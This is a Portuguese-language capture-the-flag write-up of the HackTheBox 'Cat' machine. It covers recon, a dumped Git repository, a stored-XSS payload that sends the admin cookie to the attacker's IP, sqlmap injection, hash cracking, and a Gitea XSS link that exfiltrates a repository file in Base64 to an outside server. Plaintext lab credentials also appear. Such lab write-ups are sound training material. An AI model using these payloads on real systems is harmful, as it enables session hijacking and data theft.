> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Relato da máquina Cat no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**Habilidades:**

* Fuzzing de diretórios (.git file)
* Análise do código-fonte (dump do repositório Git)
* Exploração de XSS armazenado e sequestro de sessão
* Injeção SQL (SQLite) usando sqlmap
* Quebra de hashes de senha
* Redirecionamento de portas via SSH
* Exploração do Gitea (v1.22.0) – XSS armazenado
* Exfiltração de dados sensíveis via payloads XSS
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/781170f9c196692192c580955f430b44031d628c" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/67db5423a1c44f0c8c7e50adcb8367d54df36106" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="/files/003480b3591301adac4d6e50cefa337ae5522fc5" alt=""><figcaption></figcaption></figure>

Varredura de versões de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="/files/9443c1afa9481421b9d9478560f583f3164adc53" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

<figure><img src="/files/97f5e50e04340cc3abcd91bdd3d11df9d43db812" alt="" width="563"><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/e52d82073b0dce3336fff3a3778e4b352d3ef5c7" alt=""><figcaption></figcaption></figure>

Ao acessar o `http://cat.htb` site, você encontrará um formulário de registro.

<figure><img src="/files/a62f3b2f103c0edf2b447a122d09ebf7d69dab91" alt=""><figcaption></figcaption></figure>

Também observamos uma funcionalidade de votação.

<figure><img src="/files/d67bc23a79a87305a905f29df64507fbf1904b56" alt=""><figcaption></figcaption></figure>

**Fuzzing de diretórios**

Executamos `gobuster` para descobrir caminhos ocultos:

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="/files/7b2773e4c16aff8287992346b6b2adbf1d9e09c2" alt=""><figcaption></figcaption></figure>

Isso revela vários arquivos interessantes, incluindo um `.git` diretório.

<figure><img src="/files/cd1af63ae39c8a67230476c285a034cf2ceb2237" alt="" width="563"><figcaption></figcaption></figure>

**dump de repositório Git**

Usamos `git-dumper` para recuperar o conteúdo do repositório:

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="/files/187a24e4f9face2738b8e2ba6ad00f7f7f848e3b" alt=""><figcaption></figcaption></figure>

Ao inspecionar o código-fonte, identificamos uma **vulnerabilidade de SQL** bem como a possibilidade de **XSS armazenado**.

<figure><img src="/files/f3e4b172eea100544e029edf47460d80d6e91427" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade XSS

A aplicação aceita *nome de usuário* e *email* campos sem filtragem adequada. Isso permite a injeção de scripts maliciosos.

<figure><img src="/files/c8687ce5dcd9ca14707fed3411d6734dc8cbffb6" alt=""><figcaption></figcaption></figure>

**Payload XSS**

Criamos um usuário com o seguinte nome:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**Recebendo o cookie do administrador**

Escutamos na porta 8081:

```bash
python -m http.server 8081
```

<figure><img src="/files/8a6cb49b8055bb34fd16322f912ea20491380515" alt=""><figcaption></figcaption></figure>

Assim que o cookie é capturado, obtemos a sessão do administrador:

<figure><img src="/files/297cf6cb3bcb566d44c0e6e6cf2000f699dc4d38" alt=""><figcaption></figcaption></figure>

Modificamos nosso cookie de sessão para o do administrador e acessamos o **console de administração**.

<figure><img src="/files/a2a34764345f731be4bf56fbc152890c1c9b8124" alt=""><figcaption></figcaption></figure>

## Injeção SQL (SQLite)

<figure><img src="/files/1f03034a9e10511083a0e57014e463d7bb98215d" alt=""><figcaption></figcaption></figure>

Com acesso de administrador, execute `sqlmap` em um formulário vulnerável

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="/files/d3c68ac1c40d1d0d9e69eefa129a3b0c256c8cd8" alt=""><figcaption></figcaption></figure>

**Recuperação de hash**

Obtemos os **hashes de senha**. Aqui estão alguns exemplos:

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**Quebra de senha**

Usando [CrackStation](https://crackstation.net/), conseguimos identificar com sucesso a senha do usuário `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/3499098e6477881b06e00bd625d1527e1e312ba8" alt=""><figcaption></figcaption></figure>

* **nome de usuário** : rosa
* **senha** : soyunaprincesarosa

Conexão SSH com as credenciais obtidas:

```bash
ssh rosa@cat.htb
```

<figure><img src="/files/89eaef3ba03e7ee6ba4e8d077f58793ae9c11def" alt=""><figcaption></figcaption></figure>

### Pivotando para o usuário Axel

#### Enumeração com LinPEAS:

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa está no grupo `adm` , com acesso a:

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="/files/bbfd45df6313aa5cb560ed4eb17118dd31e10bdd" alt=""><figcaption></figcaption></figure>

Credenciais encontradas:

* Usuário: axel
* Senha : aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="/files/a234ebe7cba80abccd0950486544ad52f56b04dd" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/00441b626cea3427af24cd435e56c463455d0103" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

### Descoberta de portas internas:

```bash
netstat -tuln
```

* **Node.js** (porta 3000)
* **SMTP** (587, 25)

Serviços identificados

<figure><img src="/files/fae62d44647edf6c8303e7dd300b68015d81c8db" alt=""><figcaption></figcaption></figure>

#### Encaminhamento de Porta

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### Vulnerabilidade XSS no Gitea v1.22.0

Na `http://localhost:3000` -> **Gitea** está acessível.

<figure><img src="/files/dde5be852c059a37fd76e39f484f4e8379a7be5c" alt=""><figcaption></figcaption></figure>

Faça login com as credenciais de Axel.

<figure><img src="/files/e1a056ce71fda01b23d55166aedb790c0c1761a7" alt=""><figcaption></figcaption></figure>

Vulnerabilidade XSS conhecida.

<figure><img src="/files/15e36151cfc40f3568df6f755063095bac0f6725" alt=""><figcaption></figcaption></figure>

Criamos um projeto com uma descrição contendo:

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="/files/3887065d22144e318d4303f023d4e1a6ba94a476" alt=""><figcaption></figcaption></figure>

* Resultado:

<figure><img src="/files/8a32edfec3cf8aab0e26d7cdba922d744e2aae01" alt=""><figcaption></figcaption></figure>

### E-mail interceptado via LinPEAS

<figure><img src="/files/b3aea752539100c537977246e620316d5de311f4" alt=""><figcaption></figcaption></figure>

Conteúdo do e-mail:

* jobert\@localhost deve verificar o repositório do Gitea

<figure><img src="/files/4076a1e3ee0fb02cabfe1dbf8e749f3956ac4717" alt=""><figcaption></figcaption></figure>

Enviamos um link XSS contendo um script de exfiltração que lê o conteúdo da `index.php` página do repositório do Gitea, codifica em Base64 e então envia para o nosso servidor web

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="/files/0130c655ba2db039c5c94906adc2afb1ef7b4e65" alt=""><figcaption></figcaption></figure>

#### Por meio do nosso servidor web

```bash
python -m http.server 8080
```

<figure><img src="/files/22d255c47abb2a605b03f2cad979364d238f45ce" alt=""><figcaption></figcaption></figure>

#### Conteúdo exfiltrado (Base64 decodificado):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/be6c80506528ac7cad323c2361a6a63e416478f9" alt=""><figcaption></figcaption></figure>

#### Escalada para root

Há reutilização de credenciais para o usuário root

```bash
su root
```

<figure><img src="/files/4745e9ea7fb288f4d2db394009b9468cc3d76b56" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b3f81b37e121814c8aafdfff9402ee1fe1c6cf6f" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="/files/51de3e26966df1d40494ea71b67346bfabfad8d8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
